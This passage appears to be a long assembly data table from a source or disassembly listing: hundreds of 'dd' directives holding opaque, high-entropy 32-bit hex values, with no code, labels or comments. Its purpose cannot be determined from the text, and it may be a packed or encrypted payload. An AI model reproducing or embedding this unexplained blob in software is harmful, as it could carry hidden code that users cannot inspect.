86B25C2h, 51BB85B0h, 1D34A295h dd 0E8304491h, 843CB1EBh, 260838Dh, 0FB2D95C2h, 0CE497074h dd 35454800h, 39FA3441h, 71E0098Bh, 98DA8E1Eh, 98577A09h dd 78C8D8C5h, 0FCC000B9h, 8D513688h, 0D22E4433h, 5803CD87h dd 413707h, 842D9239h, 0AD5111ABh, 77091EF2h, 60FB7DA2h dd 2465D220h, 0DC38AC5Ch, 316113Ah, 47288C4Bh, 0C204A9B9h dd 138D14C8h, 2BCB2E7h, 8AFBD720h, 65C41040h, 0FACBF5Dh dd 9A46FE1h, 0DB8D02Bh, 8970D87Bh, 34CC60D0h, 4864C1CBh dd 1A8F7F4h, 18138FB5h, 5849AC9Dh, 6E25E1E0h, 85D018F6h dd 0C3BF084Ah, 7E5828E2h, 944A389Dh, 9CC7C880h, 9FAAA6Fh dd 2F653320h, 8007B07h, 0F0FEDDD8h, 9FE3AF07h, 6CCE772Ah dd 0D36937h, 57A8554Bh, 39DEAEB1h, 0E5CEF200h, 0CF27C0BBh dd 9B212DC1h, 0FA88D017h, 0E56C602Ah, 0E00D38Ch, 5DEBB793h dd 246B40DBh, 64488A1Eh, 7F5D30D3h, 125C915Ch, 9498A404h dd 0C22F0C0Fh, 62B242B9h, 0CCD28EBAh, 22210Eh, 5AEC635Fh dd 0BD44D608h, 0E70BC479h, 52D3C1BBh, 20B4B098h, 25007143h dd 4891E76Fh, 588BCA7Eh, 0EE8018BFh, 9E374959h, 2B1D0702h dd 561182FAh, 0DA1CDCACh, 40428C5Ah, 5C0306C4h, 0A59F8044h dd 3D02D701h, 80E6813Ch, 9D0A2AAFh, 28416CEh, 52BF57ACh dd 0B8DAAA0Fh, 9101BB71h, 609C513Eh, 0C080AB77h, 8E1D3649h dd 0D10207BFh, 0AFD63D08h, 1708F469h, 47B8C020h, 0BF823AAh dd 0D5421094h, 1427000Ch, 895CB070h, 401B10DCh, 10899DC8h dd 88B0D9ACh, 8E069555h, 0F87911B7h, 29AC165Bh, 0B024B677h dd 93CAD72h, 9F55DE23h, 0EE103410h, 0ABC01C50h, 1FDDF502h dd 4824F6FCh, 3EFD918h, 2F8BB37Eh, 281A125Ch, 5088BC36h dd 2C23977Ch, 9EE8F992h, 5BF08B2Fh, 17F1B800h, 8EA32A50h dd 0F3187FD9h, 8C0F4422h, 64A04938h, 534EE0A7h, 0C5C28800h dd 0D925A926h, 99F12A97h, 3F1025B0h, 5A7258E8h, 972D1091h dd 8E939100h, 0EC064028h, 7F254191h, 3EE05F1Dh, 912380h dd 0A4EE87B5h, 2B01D104h, 0F1C8578Ch, 8038E54Fh, 0E848D4C9h dd 0ED01F860h, 0DB256D49h, 3B3EE113h, 1342364h, 9972AB0h dd 78C3073h, 9480E2E9h, 1B6B7B27h, 7C8C845Ah, 0B7DB25C2h dd 21D03043h, 0D016DFDh, 1E86458Ch, 5CDA5168h, 0BFDB04F0h dd 50F704EFh, 0C32D3CE8h, 130FF4A1h, 0FCD7002Dh, 6E7D2528h dd 70DE50AFh, 0AF65A238h, 0C10C00B5h, 5A548B02h, 0EEAC00AAh dd 0F785A251h, 0DC75455Bh, 25B814ADh, 5EFA9500h, 0D79666E4h dd 0B4EF1E76h, 930B3AF1h, 18026E32h, 0DD005294h, 315A128h dd 100B66AAh, 92A4CBC0h, 0EC6074BCh, 0DC82224Fh, 5BE74054h dd 22950A86h, 2126BFCh, 40FC951Eh, 78F7348Eh, 0E97131h dd 4323FA4h, 0DD7C9E85h, 8762CA19h, 2D026F90h, 15953C46h dd 84889170h, 0A2C0B53Ah, 9EACF5h, 2961B2F4h, 39D3F831h dd 41268A27h, 1012D194h, 7D05D8FCh, 0BC16701Fh, 0F62704F2h dd 30C030A0h, 0A00BDADh, 0E036B060h, 0DD86E6h, 23B779E8h dd 6ED19978h, 0C080A25Ch, 52A301ACh, 0DE9137Eh, 8CC0CC37h dd 0DC5333Dh, 0C1F2BC0Fh, 2E6F77F1h, 3A4223F4h, 0B6A1B80Ah dd 4FA800C0h, 5D9FC34Ch, 80E7AE3Ch, 0DC40191Eh, 1789508Bh dd 0B464370Eh, 81FEB414h, 7C0B200h, 0D993565Dh, 5C4E7341h dd 7D10446Eh, 0A45413CCh, 0C1B58C20h, 24510007h, 29F5157Bh dd 1D95711Dh, 818D91F0h, 14B48783h, 9DA53B60h, 0D8A1E02Ch dd 3F5A7609h, 0D0205B65h, 66053C53h, 77078C0Ch, 1340C4F0h dd 0B8416D98h, 945A2E54h, 467484ACh, 705B0B8Dh, 4BB019CBh dd 0B525D4h, 18EF1B41h, 3B128C81h, 8587CC12h, 629400Bh dd 0BC31F070h, 6215E4Ch, 5503802Bh, 85A366C0h, 5C586324h dd 0EDB038E1h, 0FE4E189h, 58F8CE0Ch, 0BF134D77h, 0ECA30CBBh dd 0A43046B2h, 1E810ED5h, 986574BEh, 63884986h, 0CDEDE4E8h dd 130FBAE0h, 20ECB8EBh, 0D8D90B20h, 707905D5h, 2DA99F9h dd 0A9BB5BE7h, 68BF3868h, 261F0E01h, 290DB059h, 0F1B5C080h dd 32941BEEh, 1010714Ch, 0A85064DEh, 884F8B20h, 0DA2C0841h dd 0A4030343h, 148DBF1h, 0F4EE2EA2h, 0FC8A806Ch, 0C02951B2h dd 0A64FD307h, 1AC389B3h, 1E82F826h, 1B89BCDh, 0A483E9BDh dd 0F02C7EA2h, 0E9C40FC7h, 44B41E94h, 8911AC00h, 0A099C541h dd 0B1E25D10h, 0E4E8642Fh, 54077CFEh, 41E7340Ch, 3901E660h dd 0C0C11C96h, 14F745DCh, 330E911h, 29CE2A51h, 7610040h dd 47C3594h, 130914F1h, 597EEA36h, 1830F130h, 0AE4E01EAh dd 53D50AA9h, 926EF0C4h, 109F4D79h, 0A3EE20h, 74B698B3h dd 2F201952h, 961DC70Ch, 51DD9929h, 8C20ECD9h, 8ED65F10h dd 0C034C818h, 8F14326Eh, 2925F4F8h, 611062D9h, 52030750h dd 8C8B00C4h, 25B36428h, 0CC400E03h, 8CA1D761h, 19920218h dd 688519CEh, 389AA484h, 0B4B0E68Ch, 0D5E00100h, 12D7D19Ah dd 88DC5933h, 0C0BB7F17h, 7D264F9Ch, 0A034A495h, 0F131D160h dd 96C6892Dh, 79D40034h, 6EAF7731h, 352687D7h, 0F9BD4C3Ch dd 7612A8A4h, 5C91C00Fh, 0A1BA1AF6h, 79DD0700h, 2260DE44h dd 8E006AE0h, 8F5388D2h, 0A1148DA9h, 0A3022598h, 48E434C7h dd 0C52D1A60h, 0F0E54000h, 0DBC3A3CEh, 5F15E93h, 0E43B5D90h dd 6720239Ch, 0B10474F9h, 891D821Ch, 80604126h, 9D842A8Bh dd 0E70138B5h, 0FBBBC38Ah, 564082C2h, 7664F696h, 0C5009446h dd 31830F32h, 60B88E23h, 0C2962891h, 0F83E7609h, 8EE804ECh dd 0D1C77DA2h, 0A74B642Ch, 11DC1D28h, 12ED8048h, 0F5B83BEh dd 0C0CFF0B6h, 0F8BF5C1h, 30006B97h, 0B9683526h, 0DF8A2E93h dd 27B49160h, 41146837h, 57A800E9h, 7F90E1A1h, 0F00F7D29h dd 349E49ECh, 0F7170C8h, 0F21EE602h, 0FC559B26h, 0C40C40F4h dd 1C7BFB36h, 0B809E698h, 0F9E506C1h, 18087908h, 0EB2D0237h dd 0BF8DA450h, 7C39491h, 62FAEF60h, 84F4048Bh, 0EC2EE789h dd 5DC4507Ch, 24520324h, 3EAE0444h, 731231Ch, 4056692Fh dd 4272F71Ah, 8DC45509h, 1F70D83Fh, 6D8FD3B8h, 0FC5064C9h dd 0F0221FC1h, 6080BE42h, 0A9CCBF8Eh, 9548097Ch, 9F251438h dd 0AADB1024h, 905E5500h, 0F5EBD8F1h, 24FDDA0h, 0A5E4AD00h dd 2937D332h, 89609CE2h, 20818177h, 42235E38h, 0E45964E1h dd 78254201h, 0B7F9A9D4h, 0A302B07Dh, 1997643Ch, 8C0524D4h dd 9CD0F5EFh, 4A7487D2h, 0FBE0C309h, 6B231008h, 92C9E6Dh dd 0F856A279h, 0DC9F1FC2h, 37D80324h, 597992FDh, 980C632Eh dd 36544D82h, 0B6136065h, 0DCCC507Ah, 0F0204082h, 36C94F12h dd 406FECC9h, 0F43B8C40h, 25E0C877h, 0DA7FDB3Bh, 0F15090D1h dd 4B9C716Eh, 29ED0011h, 0FCE08344h, 0C800188Ch, 0D06C9DA4h dd 25AFD781h, 98C48F59h, 4B1C6C95h, 735C40C4h, 0ACEE793h dd 0B55C9095h, 0E456826Fh, 78E465Eh, 0BD12E4A6h, 39393BD6h dd 170077A0h, 0CB34B11Eh, 853A035Ah, 0AB6E9941h, 7CF2D1A1h dd 0C9442D0h, 44A15402h, 9CAF69Ch, 578DA28Fh, 0CC29C850h dd 8A82E8D3h, 0DE233FB7h dd 812A8850h, 5EE1000h, 169A420Dh, 0A9E1AFC3h, 4CFCB28h dd 0F256212Ch, 242F0BCCh, 6D3020DEh, 0A38E7AC2h, 538CD8CCh dd 8F5B1365h, 4890FDF2h, 0A11E1CE0h, 3D9CCB80h, 427D3DAh dd 89934C97h, 3708C8ECh, 8D00DCA4h, 35200F74h, 0A5E980h dd 43A28C01h, 0EA3786D1h, 0D3BB251Fh, 95A40B60h, 94547183h dd 7320FBE9h, 0B319DFF8h, 13833101h, 6D7DBC2h, 40DC4212h dd 8BCD01DCh, 0A2B77EFFh, 0E4437BF6h, 0AA5AB65Dh, 5425401Eh dd 0D13A0156h, 0BFEA0D78h, 0D82434AFh, 89F99727h, 0E9E4C37Ch dd 10A62A05h, 5AE0A08Ch, 739CC1EEh, 0EFDD0049h, 906E4F9h dd 8F6997D7h, 3443FCE8h, 91641DB7h, 0D0898046h, 2F74CEB7h dd 0CCC903EAh, 0E88C8094h, 67F75221h, 812C998Bh, 35535CD7h dd 1EC448F1h, 0D9506802h, 0F490E937h, 0C0B0BE94h, 0EF75830h dd 0D3BBF10h, 835EE501h, 6CABD39Bh, 18471F04h, 5C716029h dd 0C416D518h, 0F8B04802h, 23F0A033h, 2F2491F3h, 0F0F4F8C2h dd 2C9509DEh, 90E4A8ECh, 1D710427h, 808E9110h, 6073B9CCh dd 1AB07C2h, 0D222F0D4h, 248F66F2h, 4E740885h, 0F3963C38h dd 308FB294h, 0DB7FA3F1h, 80020F4Bh, 1476F5Dh, 300A66AAh dd 0C40D090h, 0C538246Eh, 1370A64Ch, 0ACF88479h, 8C61BCDCh dd 0A1FB8303h, 166CA37Dh, 0C0379870h, 0C25BD898h, 9BA183Fh dd 0D3789F12h, 17C95868h, 5431E400h, 0C3DC645Bh, 2E730DBh dd 488B7DE9h, 0C473EA81h, 963049A2h, 33E312D5h, 5F730790h dd 5C48BB29h, 0FB00BC13h, 42636162h, 14669FE5h, 0E48AA9B4h dd 37D7CBC0h, 1B74215h, 3356EFD8h, 9B048E00h, 22D8285Dh dd 0CD590036h, 0B1D35C8h, 2D00BDFCh, 0A7781BEFh, 2D893CA5h dd 0F082CF0Fh, 8CC35587h, 9F884171h, 1CAE05AFh, 80E5F6E8h dd 6696FBBh, 0C4606CBEh, 81583F85h, 0A24FF0D1h, 5C0108BAh dd 0C7C59F0Fh, 824F363h, 2453078Bh, 1B14F1A9h, 1EF4C802h dd 613FF80Ah, 6D69AA40h, 0B46F2Bh, 0BC8E5576h, 92192910h dd 88CB4E5Ch, 0B4240584h, 8600758Eh, 35665480h, 12D4033Eh dd 0F57C67C7h, 0BB69DFE8h, 4C737D18h, 3055D3D8h, 0C569109Fh dd 0F4B48FD0h, 0A4FB8888h, 41731750h, 1E4FD204h, 0F8902F7Fh dd 61295DE2h, 0C3C291E1h, 68193E27h, 0BB024048h, 0FAF05859h dd 2407862Ah, 309DD127h, 58C2A2D4h, 0ED5C401Fh, 0D710120Bh dd 6E142226h, 467CFCF6h, 776107FAh, 0B654AC7Dh, 0ABF04C1h dd 30B4F601h, 87015940h, 83565CF3h, 93E0D977h, 433C9A65h dd 0B87448D5h, 0F3098C94h, 78160A8Eh, 6B5D00BCh, 508D559Ah dd 63171F46h, 0E4D0BE0Fh, 40393836h, 979FD887h, 80919110h dd 453C202Eh, 49E4022Bh, 46638E24h, 5D299CC8h, 0D46F4F78h dd 50374030h, 976C3B65h, 185F20E6h, 8D23703Eh, 1A9CE200h dd 12BED051h, 90367BE7h, 0EADBD08h, 778AD100h, 0FAB2E5FBh dd 90273FDCh, 0C35AE681h, 0E08FD3h, 0BB6B4F2h, 335DA307h dd 2F2D40C0h, 2DD4084Ch, 0ACE81340h, 677009BEh, 0C2251064h dd 4C8C04Bh, 749F9DCBh, 0E8960311h, 0C2532F0Ch, 80175F90h dd 6C804691h, 0DE9AE2BCh, 0AC32F0FDh, 3A0166E0h, 5D8A7877h dd 227A4787h, 0BF212A2Ch, 49805862h, 68B22880h, 0CA1D6D4Eh dd 0F005CC4h, 8BEEFFE6h, 335FB7h, 58DD8E40h, 6D001012h dd 296AC3E3h, 6163C00Ah, 872B2009h, 0D69874F5h, 0EBC39B17h dd 78853C43h, 0B853E873h, 0D7D00F1h, 0FA4A6E92h, 415C39C1h dd 0A9233720h, 0E7504229h, 67176444h, 63DE80E1h, 74017C22h dd 0E65B53CDh, 0E0CD6E21h, 20F0E466h, 5B0FE27Ah, 89154F45h dd 70805BFBh, 9E13CE74h, 20A235E3h, 0A8692A00h, 1608CAB0h dd 0F9DE5914h, 70D15FA3h, 246A921Eh, 8812C0A4h, 0E71C9D3Ah dd 134E095Bh, 0E2A4C293h, 20BC5A17h, 0DD056E98h, 87C69EFh dd 916808BEh, 7B08D024h, 1CF60C1Ah, 98007989h, 0EB064E85h dd 61AF59h, 0CF9120CCh, 0DFFF443h, 502C22FFh, 360F48FCh dd 3289201Ah, 0A4443448h, 0FB4674A8h, 4049B21Eh, 5796B07Fh dd 0B538085Bh, 0E0BB30F1h, 84181B0Eh, 1AC7B44h, 9C0852F9h dd 801503E3h, 0CB53C271h, 4E258D9Bh, 0A200B4BBh, 844B8527h dd 4A8F378h, 8C46FCh, 0AD64E2B4h, 338C25DEh, 983EFC0Bh dd 32187081h, 3461E62Ah, 0FC68BCB0h, 3FC46456h, 98742744h dd 0FFAFD884h, 987CA825h, 2B7A030Bh, 0FB11881Fh, 3600D090h dd 161A8AE1h, 0F29BC73h, 840E80AAh, 0F751B805h, 7C6B0041h dd 0E413AB7Bh, 7902B795h, 0C22BD29Fh, 2DC0F44Fh, 4C6E28E1h dd 534B96C8h, 33C0609Eh, 0FDB21C59h, 983D952Fh, 0FFEBA430h dd 0E0018425h, 0FD0045F3h, 349C27EAh, 1829E00Ah, 35C04300h dd 3A7399C3h, 8D802780h, 515D771Bh, 0EF01BC21h, 2485F475h dd 647203C2h, 91740600h, 0D0BD5336h, 821F7B01h, 0C72E4D0Ah dd 5B58C03Ah, 0DA0F6111h, 547BDBC3h, 5DE31348h, 0E1B36021h dd 0F45A0502h, 706A1901h, 29D4FD5Ah, 2C08923Ah, 0B00CA025h dd 13C440A6h, 8F0513BBh, 0C08EC89Ch, 87FB6571h, 0A4078B38h dd 0D5422820h, 0BF8A0186h, 8BDC506Fh, 6B255352h, 1E30C826h dd 0EE441460h, 275AD872h, 0AC9FC508h, 0A3559F00h, 0C32225C8h dd 251ECA44h, 44140794h, 9DD03ADAh, 10C9B004h, 49BD60ABh dd 58102610h, 0E1025F7Bh, 0DBC1F496h, 4974F087h, 58818CF3h dd 5907DB0h, 6E0B10A3h, 0A4416598h, 0D4002ACFh, 0F2A09F12h dd 0D3CC06CEh, 397C1F4Fh, 777EB713h, 50BD9400h, 907AA9F3h dd 6D9A006Dh, 977D4A5Dh, 0C54F2678h, 424BDCB0h, 0B7D8505Fh dd 902DD3E3h, 1D20B840h, 0A2135E93h, 24695AC4h, 25172C66h dd 0FC20A077h, 0C0B5CB4h, 5A9C70A3h, 113C0022h, 65A254B0h dd 0A1986227h, 437346DCh, 10841825h, 583DD1F9h, 80FB3F50h dd 950EA60Bh, 90C1A7D9h, 0FBF8C09h, 8D60421h, 0B3A820F3h dd 0D981F66Bh, 7156196Ch, 120FFCC2h, 9088D0D2h, 7C367451h dd 20FE5202h, 357B7582h, 72FBB21h, 276DC107h, 9A18816Eh dd 2B0E4A2Eh, 0AF856C6Dh, 0D7C00455h, 1020304Ch, 70275A73h dd 11AB54CCh, 0F9671C09h, 77CC0247h, 0D9CB0043h, 0A36EC59Fh dd 0B8344F9h, 0B4538E05h, 0F000B5CCh, 0C1C5ADDAh, 0C7DBF2h dd 9DA29C78h, 2B4D4042h, 0E6A52903h, 0F06E659Eh, 67179A19h dd 0E7F820A1h, 35D730E4h, 3E07609Fh, 9E752EA2h, 0FD795043h dd 7D02F488h, 0DE110013h, 966E2493h, 0DA90D226h, 0C87DBA3Bh dd 7AF00A8h, 88C451A1h, 3B907EEh, 811F0830h, 73FA6FEBh dd 3035E290h, 21182877h, 6360F2F3h, 0EDCB6B3h, 1D33A285h dd 9A1DC3h, 0AA641136h, 0D50426D8h, 5BE66DC2h, 298C4EEAh dd 0C8961D45h, 5C38C148h, 54F803C7h, 1726308Ah, 8F91418h dd 89801508h, 411BAC8Ch, 82F02636h, 5EBA8518h, 0E8286828h dd 281141CAh, 63253A70h, 7EA580Ah, 4A3F101h, 35B607Dh dd 0F429B47h, 83F074C0h, 38D536D7h, 4F5F19B1h, 0C1602540h dd 39806CE0h, 0C126C29Ch, 9609EE6Dh, 0F252AC3Dh, 0DB2A353Ch dd 1B2C8D41h, 8B54823Ch, 0EBA4A13Ch, 0D45428E9h, 256EB4D2h dd 21342AF4h, 0F1C8794Ah, 5A25F8FDh, 29EECA04h, 83016443h dd 0FB0A6C2Fh, 628BC798h, 0D2482751h, 70EABCB6h, 911D0B8Dh dd 6E685CC8h, 40089048h, 2A40F0F8h, 73AE9DEh, 0FCEF364Ch dd 0C464CC61h, 0F4272EA9h, 66AA0063h, 0B9BE0F8Dh, 4BF000E4h dd 15D9CD14h, 15AEB01h dd 0C963BCA8h, 707C152Fh, 4C179900h, 89542C2Ah, 94ACA0B7h dd 56A26FFBh, 0F1292036h, 96F605BCh, 0C1A0091Ch, 6C589C29h dd 50EC421Ch, 0E95309FEh, 8102143h, 0CA6A0B4Eh, 6CBE8F0h dd 0F9152504h, 402008D2h, 411420D4h, 7F6E3C20h, 30B38068h dd 80E52C80h, 0A180F42Fh, 442380C5h, 800F5080h, 1C80A452h dd 0FC268024h, 800B1E80h, 538016D7h, 0D4980ECh, 804D3280h dd 71802FAAh, 3CB48013h, 80BAE180h, 6E80D103h, 0C82E8043h dd 80F7F280h, 4F80B7D9h, 0ADF48058h, 834BAF80h, 30023AFAh dd 31C20642h, 20556220h, 0DE20EB95h, 499662C6h, 88021DFBh dd 0BD55035Fh, 20278920h, 0F32063EDh, 0CE8720DCh, 2019B320h dd 1BF6DD9Ch, 8101CC80h, 8F09883Ch, 0CA39084Ah, 8B3B808h dd 0DA181AFAh, 81658AA1h, 0BEC8517Fh, 10BA03EAh, 2A05CE89h dd 0C820BC0Ah, 46E92033h, 54F36F20h, 4070FC32h, 0E040E2DEh dd 4DEE40B0h, 4047BB40h, 2C4024A9h, 0BFBC4048h, 0C1FAA9C6h dd 7421CC89h, 0F8400C09h, 333640A4h, 20191C4h, 4A55704h dd 6304702Bh, 88F108F4h, 0E1085A4Dh, 44DD0854h, 2060171Eh dd 7120C7BBh, 0BA122064h, 20F24C20h, 5120C2B6h, 3F32071h dd 20A7EC20h, 0DB541058h, 0D54037E4h, 7709DF1Ah, 6B6E4D9h dd 0C439404Fh, 4069F81h, 55042056h, 0FED80424h, 4511C00Ch dd 0EF7BA8A8h, 108C29D1h, 0C71057B6h, 68FB1045h, 0EF88352Ah dd 191BDC51h, 15C4101h, 5B01EB05h, 67FA01C0h, 1631F01h dd 0ED0211F7h, 0E545B8A2h, 204D1003h, 2220B709h, 5188F7F7h dd 0B00831ABh, 327208A6h, 18CBE708h, 0EB291EBh, 8008AD80h dd 1D81C3ECh, 6134B857h, 4F92004h, 440446DBh, 0E83B0A07h dd 8BC3C88h, 0B10DD09Ah, 2FA611Bh, 0C5054356h, 0DC488044h dd 0BE710F0Ch, 23F219C4h, 1CE4B504h, 0A42A09D0h, 28592080h dd 203DD920h, 0FD2037DEh, 0D4015430h, 83174047h, 40A16240h dd 3E403D29h, 10C22DCBh, 0C61FA820h, 8D25FDEFh, 0CF300EA6h dd 0B376A6EEh, 7DDC0010h, 62107832h, 0D709A461h, 41452796h dd 0A830023Ch, 0DE9E00B1h, 0A5645983h, 783DD92Dh, 6E1674F2h dd 0B8355B13h, 555A9880h, 9ACF003Ch, 0DC6E167Bh, 10037A0h dd 0B886F52Bh, 8906A2h, 30D63F2Ah, 45EEDF3h, 6DECE800h dd 1ABD40Dh, 17860441h, 0C0BFC443h, 0D1F2B824h, 1648F107h dd 0FB0464h, 578C84C8h, 12E9DF3Eh, 9F64802Ch, 0E21A54A5h dd 501021C2h, 0DB631820h, 478D38AEh, 0BE4D858h, 0AC4204h dd 0F6F92898h, 0E7F9C9F4h, 293A2A80h, 8EB0ABB9h, 7204E1C4h dd 8AECF0h, 0A60E4A86h, 8FF26A9Eh, 0F1513E07h, 0B1433F11h dd 3B99EE29h, 0E485329Ch, 2A24A96h, 2A8CA19Ch, 0C47C78E4h dd 40922935h, 0E60E98D1h, 9007B044h, 0E259F77Ah, 6A1C1880h dd 6125F029h, 0CCE3107Eh, 0D6E094E8h, 0F7CF0698h, 5E8FEFBh dd 0EC3E518Ah, 5C840420h, 6C280A97h, 112D8C00h, 6A4D175h dd 558B03A3h, 0EDF41110h, 0C6F2C00Ch, 14C358D7h, 0BC5FF50Ch dd 50FA48CFh, 9A1668C0h, 33985260h, 4E1F0CCCh, 873C0644h dd 26001022h, 6F20317Dh, 5DBE044Ah, 0FE016840h, 0A92B8D69h dd 42744C9Eh, 67642903h, 185E08F7h, 26FAA4D0h, 0F1FBCA85h dd 7947CBDh, 6DED0FE7h, 5107B641h, 38227FE2h, 0CB00245Ah dd 0E4277Bh, 8CA392EEh, 47BF8A29h, 19A43402h, 0A84511F3h dd 2CC1FCBCh, 821C22Fh, 124DA9ACh, 0B5040E7Ah, 0D2A66A27h dd 0C4A264BEh, 3C2A864Eh, 71287803h, 7481FCBCh, 38241131h dd 0E4F71846h, 0D4EFB8D3h, 9923CF00h, 47690E7h, 281467B5h dd 904A34E2h, 0C2DB8608h, 185AC124h, 98908835h, 94164AEEh dd 0E89F0Ch, 0F79F02A6h, 60C78E76h, 0FE8E12A2h, 7C46C812h dd 0E61C0B1h, 548C8953h, 1393A560h, 8B1814A4h, 0D4118A2Ch dd 0D07609FDh, 0A8D8D163h, 616A018h, 809AF860h, 0EA2EB13Ch dd 0FC1DC5F6h, 18C99D0Ch, 63530C87h, 5A90A06h, 0C0996D00h dd 505591CCh, 0F31F559h, 28E2D330h, 199CC548h, 40A29CF6h dd 0D900E385h, 0F45136EAh, 0A0F0C0h, 0EF6C90EBh, 9638DDFAh dd 0F9279300h, 609172FCh, 69BA3E2Dh, 0B087F60Ch, 7B3F16A1h dd 5C8A02D6h, 0B462F7h, 0D8CD5652h, 2B58BC60h, 38D4E8h dd 0CA2301EEh, 0F9EA1A58h, 8A049F0h, 7B51762Ah, 98C45BCh dd 0E00FC114h, 5412A98Fh, 70551470h, 0D44093FDh, 194989DAh dd 78D232F7h, 9FE8E0DBh, 9E14A27Dh, 80E048EFh, 14D77AB9h dd 86C72AC2h, 8C8512FCh, 0D0B82252h, 0B6F70C82h, 44A28849h dd 922421F8h, 9C436E56h, 90F318D6h, 208D44h, 42A59ED2h dd 30A41A2Dh, 6C6AC224h, 2B508D40h, 144A74E5h, 0C0C86763h dd 0AA5D6E02h, 0F8485337h, 94984DBAh, 508C8713h, 7D0E0431h dd 0BEE2400h, 8CA5C000h, 0A34AFB27h, 2DFDF8FFh, 10C05103h dd 0F71253EAh, 0DC4995CAh, 0DDD4008Bh, 0A0E9E229h, 9130ACA4h dd 1682AC0h, 66B6DC82h, 0C4D3DDA9h, 0B90C6237h, 90466B63h dd 0AA21C8Bh, 31A4429Fh, 20802FACh, 490B5FF6h, 759CEF1Fh dd 0AC140500h, 1A5F5h, 378C3E27h, 0F68A4023h, 0A800AB7Ch dd 0C46D2B0Eh, 98EDC619h, 0C080909Ch, 8F2A908h, 4A4A9E8Ah dd 0B4087CB1h, 0D67726F6h, 2788B050h, 6317EEFCh, 98E0DCA9h dd 7AC50021h, 36EDF580h, 0A012DD9Bh, 0E87152C1h, 7C2384DBh dd 0EF3C0048h, 0D339638Fh, 2460E99Ah, 1A0ADFF7h, 90A36526h dd 0C8592800h, 8C70E8h, 0C33F9A30h, 8B082DCBh, 3E5A5000h dd 0F7689BAFh, 4CB198EDh, 0CCB7B465h, 0C204F6A8h, 0A53376C5h dd 0A2D18D1h, 0D255B701h, 541DF8A2h, 49ABC81h, 15835A0h dd 750E5C8h, 0C9288F1h, 79C21883h, 0BFA3D929h, 0D239A4F8h dd 0F945F712h, 0EA8A0062h, 0CE34600Ch, 91851B84h, 1832409Fh dd 42AC788Bh, 41587C58h, 208A4A66h, 2FEE9490h, 0ECA26F00h dd 2615ABDFh, 0AC173E0Bh, 57CB4F03h, 2DE0B0ADh, 6A040E87h dd 0C6270C5Eh, 0A6CC82h, 894515F2h, 63DF3B09h, 3A807E36h dd 1E924B9Eh, 3EB62EA0h, 0BD18653Ah, 2CAA909Ah, 0D4E40A28h dd 0CCE2BC28h, 0ECD06426h, 0AAF22982h, 3C0C640Dh, 0B62C63C7h dd 13ACA610h, 3130F125h, 0BDCC3410h, 12F9F300h, 74C2286Eh dd 157B3995h, 0D9EA3B83h, 510C643Fh, 687C0FF7h, 0F89148D8h dd 0E0D9F6C5h, 0C1004EF0h, 917C29C8h, 0E6084F5Dh, 1EF7D89h dd 6EAB2B13h, 26852811h, 0E2640C04h, 9E88C9h, 32CD838h dd 0EE534D8Ch, 9AD6FF07h, 59E3F3F9h, 0D23A89A5h, 3520170h dd 328D705Eh, 5F80EDE6h, 0F40911A2h, 21353A29h, 66DC1030h dd 763F1833h, 0F8B4B0EEh, 262A8454h, 1400E8DBh, 9803F4B6h dd 9757FD54h, 0F2B93FA0h, 2AA49950h, 862D624h, 0F959FD81h dd 38304D8Eh, 0BDBE0B1Bh, 420297E6h, 30C1D996h, 82EFE529h dd 2DF77B58h, 169C8091h, 6EDBA42h, 3EFAE172h, 7527084Bh dd 1CEC5898h, 469EEAA4h, 0B825E404h, 0AC025D7Ch, 8063F1EFh dd 839481CBh, 6047490Ch, 989A8Fh, 1CA4A9EBh, 334C3F7Fh dd 8FF9EE01h, 0F866C750h, 90C4E12Fh, 0D0C0D7DDh, 0F8B19EDCh dd 986854CAh, 91EE00FBh, 5D2C1057h, 235FF718h, 20BC5400h dd 95D96FC5h, 77FD30D0h, 91F00958h, 0F62890FFh, 4CBC4D6Bh dd 31AC330Bh, 22FDFC9Bh, 60BEFCh, 68B2C3BBh, 20C7B320h dd 0AF7C52C4h, 78BA092Eh, 80241424h, 20CD0409h, 10C3C1F0h dd 0A008B18Bh, 0C348080h dd 0DC641439h, 233D9880h, 45190400h, 0BE662C8Ch, 974F4E00h dd 67731D60h, 0E36C0033h, 2EC3E246h, 0B9000E40h, 549FA73Ah dd 4CD42A83h, 8E80AEEFh, 91D10884h, 0FD645B00h, 656FBCBFh dd 0F7C417B9h, 0D980C433h, 0F03744A0h, 150CEED8h, 0AC1BA204h dd 0E84C48B1h, 0F980884h, 0A4589DF1h, 25938018h, 0ACA0558Ch dd 0DEF50BACh, 0D9E39D02h, 85D1C229h, 0D987CD98h, 8A06DA1h dd 68B4F820h, 6088F9A2h, 38F2642Fh, 1788126Eh, 608A1C92h dd 5BC6D984h, 8D14423Fh, 0E0ABB60Bh, 0CFAEEC22h, 9EC7C400h dd 23851288h, 8E4CC06Ch, 0C31DDD4Ah, 910F9FD2h, 0DBE80196h dd 9061859Ch, 0EB801462h, 0C5F4D28Ah, 8B55F718h, 0DC42169h dd 0DBAE0315h, 1DC2DC58h, 0D2241AF8h, 630638D9h, 0B0D8EE57h dd 0F0E60298h, 50E96B70h, 37772850h, 2BD14208h, 1138191Bh dd 52E443D0h, 0E0DEE0F1h, 510925CDh, 8392DB0Bh, 882C9DE0h dd 0B66C634Fh, 0B9390EBCh, 0F064133Eh, 85179B20h, 9200D077h dd 9F3EBBCh, 0E60A282Ah, 4FE500C0h, 0FDCB2794h, 4224296Eh dd 91404857h, 5C3C8DB1h, 1D00F8DCh, 0F63A7DCFh, 0F8CAA9ECh dd 57618C55h, 3BE890F1h, 29481B6Eh, 73986145h, 0DE3906C9h dd 0F1C30095h, 0ADC4EC4Ch, 0C0F900EFh, 9D5B438h, 0E6788946h dd 0DB40DCB0h, 104E099Ch, 0D000BB99h, 8E51AA55h, 156F5B0Bh dd 54640A8Bh, 0DBB02CC7h, 1E5FDD59h, 8A2DC0E9h, 0B85189h dd 0C111C2FBh, 6334C566h, 0D8879804h, 0B0E82055h, 0C52CD494h dd 0A4A09DA4h, 93556730h, 528825DAh, 0B87D6A62h, 17BC2E5Ch dd 1CF02F2Ah, 38D40019h, 0F21AA25Eh, 86024A1Eh, 0F70C538Dh dd 2600FC03h, 1A9592BCh, 0C49B9A3h, 0C29FC40Eh, 2E1E0318h dd 7963C118h, 0E584A0E8h, 48A3F6FFh, 71A8FBh, 0BE60DB88h dd 0AA6402EEh, 925D1001h, 45BD9658h, 0DFA5B3E4h, 29BC8338h dd 0A03BFCFAh, 66169C79h, 4113A064h, 299F8002h, 704FC60h dd 8405D7CEh, 300AAFA7h, 0BB0188BEh, 0AECFF779h, 270C34h dd 9F64EAAh, 91ED672Ch, 0DFA46058h, 5060DED7h, 619BB6DBh dd 